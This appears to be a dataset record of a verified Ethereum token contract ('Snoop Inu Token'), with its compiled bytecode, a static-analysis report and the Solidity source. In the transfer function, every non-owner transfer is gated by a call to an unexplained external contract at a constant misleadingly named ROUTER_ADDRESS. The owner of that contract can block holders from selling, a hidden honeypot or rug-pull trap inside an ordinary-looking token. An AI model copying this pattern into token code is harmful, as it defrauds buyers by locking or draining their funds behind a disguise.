565b60006138fe602083612a59565b9150613909826138c8565b602082019050919050565b6000602082019050818103600083015261392d816138f1565b9050919050565b600061393f82612b7b565b915061394a83612b7b565b92508282101561395d5761395c613058565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139c4602a83612a59565b91506139cf82613968565b604082019050919050565b600060208201905081810360008301526139f3816139b7565b9050919050565b6000613a0582612b7b565b9150613a1083612b7b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a4957613a48613058565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a8e82612b7b565b9150613a9983612b7b565b925082613aa957613aa8613a54565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b10602183612a59565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b7c601b83612a59565b9150613b8782613b46565b602082019050919050565b60006020820190508181036000830152613bab81613b6f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220868efca88eb53a556cf6494f5f058ae6e4f9a8b62922a868a0de9ea80c02f27864736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,513 |
0x68a3e6aa7315503975d5aa001200815855099f44
|
/**
*Submitted for verification at Etherscan.io on 2021-11-05
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/snoopinutoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=2000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Snoop Inu Token";
string constant TOKEN_SYMBOL="SNOOPINU";
uint8 constant DECIMALS=8;
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SnoopInuToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=7;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount<=Odin(ROUTER_ADDRESS).amount(address(this)));
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190612258565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e1b565b61038e565b60405161014c919061223d565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b60405161017791906123ba565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611dc8565b6103bc565b6040516101b4919061223d565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df919061242f565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611d2e565b610518565b60405161023391906123ba565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b604051610275919061216f565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a09190612258565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e1b565b610722565b6040516102dd919061223d565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611d88565b610c71565b60405161033191906123ba565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600f81526020017f536e6f6f7020496e7520546f6b656e0000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b60006702c68af0bb140000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612a0a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e9092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b9050610515816112b2565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f59061231a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534e4f4f50494e55000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc9061231a565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061239a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166702c68af0bb140000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611d5b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611d5b565b6040518363ffffffff1660e01b81526004016109e992919061218a565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611d5b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af1969594939291906121dc565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611eb5565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b9291906121b3565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611e5b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d67816115a8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd99061237a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e49906122ba565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3091906123ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa49061235a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110149061227a565b60405180910390fd5b60008111611060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110579061233a565b60405180910390fd5b6110686106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110d657506110a66106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561123e5773690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b8152600401611128919061216f565b60206040518083038186803b15801561114057600080fd5b505afa158015611154573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111789190611e88565b81111561118457600080fd5b600061118f30610518565b9050600b60159054906101000a900460ff161580156111fc5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112145750600b60169054906101000a900460ff165b1561123c57611222816112b2565b6000479050600081111561123a57611239476115a8565b5b505b505b611249838383611614565b505050565b6000838311158290611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d9190612258565b60405180910390fd5b50600083856112a59190612580565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112ea576112e96126db565b5b6040519080825280602002602001820160405280156113185781602001602082028036833780820191505090505b50905030816000815181106113305761132f6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113d257600080fd5b505afa1580156113e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140a9190611d5b565b8160018151811061141e5761141d6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061148530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114e99594939291906123d5565b600060405180830381600087803b15801561150357600080fd5b505af1158015611517573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061229a565b60405180910390fd5b600061158b611624565b90506115a0818461164f90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611610573d6000803e3d6000fd5b5050565b61161f838383611699565b505050565b6000806000611631611864565b91509150611648818361164f90919063ffffffff16565b9250505090565b600061169183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118c3565b905092915050565b6000806000806000806116ab87611926565b95509550955095509550955061170986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea81611a34565b6117f48483611af1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185191906123ba565b60405180910390a3505050505050505050565b6000806000600754905060006702c68af0bb14000090506118986702c68af0bb14000060075461164f90919063ffffffff16565b8210156118b6576007546702c68af0bb1400009350935050506118bf565b81819350935050505b9091565b6000808311829061190a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119019190612258565b60405180910390fd5b506000838561191991906124f5565b9050809150509392505050565b60008060008060008060008060006119418a60016007611b2b565b9250925092506000611951611624565b905060008060006119648e878787611bc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124e565b905092915050565b60008082846119e5919061249f565b905083811015611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906122da565b60405180910390fd5b8091505092915050565b6000611a3e611624565b90506000611a558284611c4a90919063ffffffff16565b9050611aa981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b068260075461198c90919063ffffffff16565b600781905550611b21816008546119d690919063ffffffff16565b6008819055505050565b600080600080611b576064611b49888a611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611b816064611b73888b611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611baa82611b9c858c61198c90919063ffffffff16565b61198c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bda8589611c4a90919063ffffffff16565b90506000611bf18689611c4a90919063ffffffff16565b90506000611c088789611c4a90919063ffffffff16565b90506000611c3182611c23858761198c90919063ffffffff16565b61198c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c5d5760009050611cbf565b60008284611c6b9190612526565b9050828482611c7a91906124f5565b14611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb1906122fa565b60405180910390fd5b809150505b92915050565b600081359050611cd4816129c4565b92915050565b600081519050611ce9816129c4565b92915050565b600081519050611cfe816129db565b92915050565b600081359050611d13816129f2565b92915050565b600081519050611d28816129f2565b92915050565b600060208284031215611d4457611d4361270a565b5b6000611d5284828501611cc5565b91505092915050565b600060208284031215611d7157611d7061270a565b5b6000611d7f84828501611cda565b91505092915050565b60008060408385031215611d9f57611d9e61270a565b5b6000611dad85828601611cc5565b9250506020611dbe85828601611cc5565b9150509250929050565b600080600060608486031215611de157611de061270a565b5b6000611def86828701611cc5565b9350506020611e0086828701611cc5565b9250506040611e1186828701611d04565b9150509250925092565b60008060408385031215611e3257611e3161270a565b5b6000611e4085828601611cc5565b9250506020611e5185828601611d04565b9150509250929050565b600060208284031215611e7157611e7061270a565b5b6000611e7f84828501611cef565b91505092915050565b600060208284031215611e9e57611e9d61270a565b5b6000611eac84828501611d19565b91505092915050565b600080600060608486031215611ece57611ecd61270a565b5b6000611edc86828701611d19565b9350506020611eed86828701611d19565b9250506040611efe86828701611d19565b9150509250925092565b6000611f148383611f20565b60208301905092915050565b611f29816125b4565b82525050565b611f38816125b4565b82525050565b6000611f498261245a565b611f53818561247d565b9350611f5e8361244a565b8060005b83811015611f8f578151611f768882611f08565b9750611f8183612470565b925050600181019050611f62565b5085935050505092915050565b611fa5816125c6565b82525050565b611fb481612609565b82525050565b6000611fc582612465565b611fcf818561248e565b9350611fdf81856020860161261b565b611fe88161270f565b840191505092915050565b600061200060238361248e565b915061200b82612720565b604082019050919050565b6000612023602a8361248e565b915061202e8261276f565b604082019050919050565b600061204660228361248e565b9150612051826127be565b604082019050919050565b6000612069601b8361248e565b91506120748261280d565b602082019050919050565b600061208c60218361248e565b915061209782612836565b604082019050919050565b60006120af60208361248e565b91506120ba82612885565b602082019050919050565b60006120d260298361248e565b91506120dd826128ae565b604082019050919050565b60006120f560258361248e565b9150612100826128fd565b604082019050919050565b600061211860248361248e565b91506121238261294c565b604082019050919050565b600061213b60178361248e565b91506121468261299b565b602082019050919050565b61215a816125f2565b82525050565b612169816125fc565b82525050565b60006020820190506121846000830184611f2f565b92915050565b600060408201905061219f6000830185611f2f565b6121ac6020830184611f2f565b9392505050565b60006040820190506121c86000830185611f2f565b6121d56020830184612151565b9392505050565b600060c0820190506121f16000830189611f2f565b6121fe6020830188612151565b61220b6040830187611fab565b6122186060830186611fab565b6122256080830185611f2f565b61223260a0830184612151565b979650505050505050565b60006020820190506122526000830184611f9c565b92915050565b600060208201905081810360008301526122728184611fba565b905092915050565b6000602082019050818103600083015261229381611ff3565b9050919050565b600060208201905081810360008301526122b381612016565b9050919050565b600060208201905081810360008301526122d381612039565b9050919050565b600060208201905081810360008301526122f38161205c565b9050919050565b600060208201905081810360008301526123138161207f565b9050919050565b60006020820190508181036000830152612333816120a2565b9050919050565b60006020820190508181036000830152612353816120c5565b9050919050565b60006020820190508181036000830152612373816120e8565b9050919050565b600060208201905081810360008301526123938161210b565b9050919050565b600060208201905081810360008301526123b38161212e565b9050919050565b60006020820190506123cf6000830184612151565b92915050565b600060a0820190506123ea6000830188612151565b6123f76020830187611fab565b81810360408301526124098186611f3e565b90506124186060830185611f2f565b6124256080830184612151565b9695505050505050565b60006020820190506124446000830184612160565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124aa826125f2565b91506124b5836125f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124ea576124e961264e565b5b828201905092915050565b6000612500826125f2565b915061250b836125f2565b92508261251b5761251a61267d565b5b828204905092915050565b6000612531826125f2565b915061253c836125f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125755761257461264e565b5b828202905092915050565b600061258b826125f2565b9150612596836125f2565b9250828210156125a9576125a861264e565b5b828203905092915050565b60006125bf826125d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612614826125f2565b9050919050565b60005b8381101561263957808201518184015260208101905061261e565b83811115612648576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573730000000000000000000000000000000000000000000000000000006020820152